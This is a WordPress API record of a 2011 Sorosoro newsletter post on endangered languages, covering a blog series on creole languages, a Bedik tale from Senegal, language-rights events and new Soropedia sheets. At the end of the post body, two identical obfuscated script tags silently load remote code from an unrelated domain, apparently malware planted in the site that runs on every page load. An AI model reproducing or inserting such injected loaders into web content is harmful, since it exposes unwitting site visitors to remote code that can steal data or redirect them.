{"id":51428,"date":"2011-06-24T15:41:30","date_gmt":"2011-06-24T13:41:30","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=51428"},"modified":"2025-10-21T22:33:43","modified_gmt":"2025-10-21T20:33:43","slug":"sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/","title":{"rendered":"Sorosoro \u2013 June 20, 2011 <br\/><br\/><i>Read<\/i>: the genesis of creole languages <br\/><i>See<\/i>: the monkey who turned into a young woman, a Bedik tale from Senegal <br\/>And more news, events, Soropedia updates\u2026"},"content":{"rendered":"<h5 style=\"text-align: justify;\">Blog<\/h5>\n<p style=\"text-align: justify;\">This week we launch a series on <strong>new languages<\/strong>, much of which will focus on Creole languages before we dedicate a few amusing articles this summer to Elvish languages and Toki Pona&#8230;!<\/p>\n<p style=\"text-align: justify;\"><strong>Marie-Christine Hazael-Massieux<\/strong>, professor of linguistics at the University of Provence, begins with <strong>the genesis of French-based creole languages<\/strong>, and their long maturation, both lexical and grammatical.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/blog.sorosoro.org\/en\/questions-on-the-genesis-of-creole-languages\">See Blog<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">New videos<\/h5>\n<p style=\"text-align: justify;\">Still in <strong>Senegal <\/strong>with the <strong>Bedik<\/strong>, listen to a third tale in the <strong>Menik <\/strong>language involving monkeys with a power of metamorphosis. \u00ab <strong>The monkey who turned into a young woman<\/strong> \u00bb is clever alright, but that doesn\u2019t necessarily mean she\u2019ll have the last word\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/bedik-tale-3-the-monkey-who-turned-into-a-young-woman\">See video<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Agenda<\/h5>\n<p style=\"text-align: justify;\"><strong>June 22-25, 2011<\/strong>: <strong>Amazigh Book Fair<\/strong>, at the Kingdom of <strong>Morocco <\/strong>National Library in Rabat. An opportunity to discover the richness of Amazigh literature through conferences and exhibition of old books, in times where the language has recently been declared second official language of the Kingdom.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/june-22-25-2011-amazigh-book-fair-rabat-morocco\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">June 6 \u2013 <strong>July 1st, 2011<\/strong>: The 32nd <strong>American Indian Language Development Institute (AILDI)<\/strong> on as we speak in Tucson, <strong>Arizona <\/strong>(USA).<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/june-6-%E2%80%93-july-1st-2011-32nd-american-indian-language-development-institute-arizona-usa\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">June 18, 2011: the <strong>Network for the Linguistic and Educational Rights of the Indigenous Peoples of Chile Forum<\/strong> was held in Santiago, Chile, to discuss a bill on the \u00ab <strong>linguistic rights of the native peoples of Chile<\/strong> \u00bb,  soon to be introduced to parliament. To be continued\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/june-18-2011-network-for-the-linguistic-and-educational-rights-of-the-indigenous-peoples-of-chile-forum-santiago-chile\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Soropedia<\/h5>\n<p style=\"text-align: justify;\"><strong>5 new language description sheets<\/strong> :<\/p>\n<p style=\"text-align: justify;\">&#8211; <a href=\"http:\/\/www.sorosoro.org\/le-guato\">Guato<\/a>, an isolate related to the Macro-J\u00ea family, spoken in the Pantanal region of Brazil (in French, yet to be translated).<\/p>\n<p style=\"text-align: justify;\">&#8211; 4 languages of the Vanua Lava island, in Vanuatu : <a href=\"https:\/\/www.sorosoro.org\/en\/mwesen\">Mwesen<\/a>, <a href=\"https:\/\/www.sorosoro.org\/en\/vures\">Vur\u00ebs<\/a>, <a href=\"  https:\/\/www.sorosoro.org\/en\/veraa\">Vera\u2019a<\/a> and <a href=\"https:\/\/www.sorosoro.org\/en\/lemerig\">Lemerig<\/a>.<\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Not forgetting\u2026<\/h5>\n<p style=\"text-align: justify;\">The <a href=\"https:\/\/www.sorosoro.org\/en\/to-smile\">word of the fortnight<\/a>, which should cheer you up and generate many translations: \u00ab <strong>To Smile<\/strong> \u00bb.<\/p>\n<p style=\"text-align: justify;\">And an updated <strong>Soroquiz <\/strong>on our <a href=\"http:\/\/www.sorosoro.org\/en\">homepage<\/a>&#8230;<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>A beautiful week to all of you!<\/strong><\/p>\n<p style=\"text-align: justify;\">The Sorosoro crew<\/p>\n<p style=\"text-align: center;\">Supported by<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" title=\"LogoFondationChirac\" src=\"..\/wp-content\/uploads\/LogoFondationChirac2-280x300.jpg\" alt=\"LogoFondationChirac\" width=\"75\" height=\"82\" \/><img loading=\"lazy\" decoding=\"async\" title=\"logo FondationOrange\" src=\"..\/wp-content\/uploads\/logo-FondationOrange-300x117.jpg\" alt=\"logo FondationOrange\" width=\"168\" height=\"65\" \/><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Blog This week we launch a series on new languages, much of which will focus on Creole languages before we dedicate a few amusing articles this summer to Elvish languages and Toki Pona&#8230;! Marie-Christine Hazael-Massieux, professor of linguistics at the University of Provence, begins with the genesis of French-based creole languages, and their long maturation, [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-51428","post","type-post","status-publish","format-standard","hentry","category-sorosoro-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Sorosoro \u2013 June 20, 2011 Read: the genesis of creole languages See: the monkey who turned into a young woman, a Bedik tale from Senegal And more news, events, Soropedia updates\u2026 - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sorosoro \u2013 June 20, 2011 Read: the genesis of creole languages See: the monkey who turned into a young woman, a Bedik tale from Senegal And more news, events, Soropedia updates\u2026 - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Blog This week we launch a series on new languages, much of which will focus on Creole languages before we dedicate a few amusing articles this summer to Elvish languages and Toki Pona&#8230;! Marie-Christine Hazael-Massieux, professor of linguistics at the University of Provence, begins with the genesis of French-based creole languages, and their long maturation, [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-06-24T13:41:30+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:33:43+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Sorosoro \u2013 June 20, 2011 Read: the genesis of creole languages See: the monkey who turned into a young woman, a Bedik tale from Senegal And more news, events, Soropedia updates\u2026\",\"datePublished\":\"2011-06-24T13:41:30+00:00\",\"dateModified\":\"2025-10-21T20:33:43+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/\"},\"wordCount\":333,\"articleSection\":[\"Sorosoro news\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/\",\"name\":\"Sorosoro \u2013 June 20, 2011 Read: the genesis of creole languages See: the monkey who turned into a young woman, a Bedik tale from Senegal And more news, events, Soropedia updates\u2026 - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"datePublished\":\"2011-06-24T13:41:30+00:00\",\"dateModified\":\"2025-10-21T20:33:43+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sorosoro \u2013 June 20, 2011 Read: the genesis of creole languages See: the monkey who turned into a young woman, a Bedik tale from Senegal And more news, events, Soropedia updates\u2026\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sorosoro \u2013 June 20, 2011 Read: the genesis of creole languages See: the monkey who turned into a young woman, a Bedik tale from Senegal And more news, events, Soropedia updates\u2026 - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/","og_locale":"en_US","og_type":"article","og_title":"Sorosoro \u2013 June 20, 2011 Read: the genesis of creole languages See: the monkey who turned into a young woman, a Bedik tale from Senegal And more news, events, Soropedia updates\u2026 - Sorosoro","og_description":"Blog This week we launch a series on new languages, much of which will focus on Creole languages before we dedicate a few amusing articles this summer to Elvish languages and Toki Pona&#8230;! Marie-Christine Hazael-Massieux, professor of linguistics at the University of Provence, begins with the genesis of French-based creole languages, and their long maturation, [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/","og_site_name":"Sorosoro","article_published_time":"2011-06-24T13:41:30+00:00","article_modified_time":"2025-10-21T20:33:43+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Michel.Lemee","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Sorosoro \u2013 June 20, 2011 Read: the genesis of creole languages See: the monkey who turned into a young woman, a Bedik tale from Senegal And more news, events, Soropedia updates\u2026","datePublished":"2011-06-24T13:41:30+00:00","dateModified":"2025-10-21T20:33:43+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/"},"wordCount":333,"articleSection":["Sorosoro news"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/","url":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/","name":"Sorosoro \u2013 June 20, 2011 Read: the genesis of creole languages See: the monkey who turned into a young woman, a Bedik tale from Senegal And more news, events, Soropedia updates\u2026 - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"datePublished":"2011-06-24T13:41:30+00:00","dateModified":"2025-10-21T20:33:43+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-june-20-2011-read-the-genesis-of-creole-languages-see-the-monkey-who-turned-into-a-young-woman-a-bedik-tale-from-senegal-and-more-news-events-soropedia-updates\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"Sorosoro \u2013 June 20, 2011 Read: the genesis of creole languages See: the monkey who turned into a young woman, a Bedik tale from Senegal And more news, events, Soropedia updates\u2026"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/51428","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=51428"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/51428\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=51428"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=51428"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=51428"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}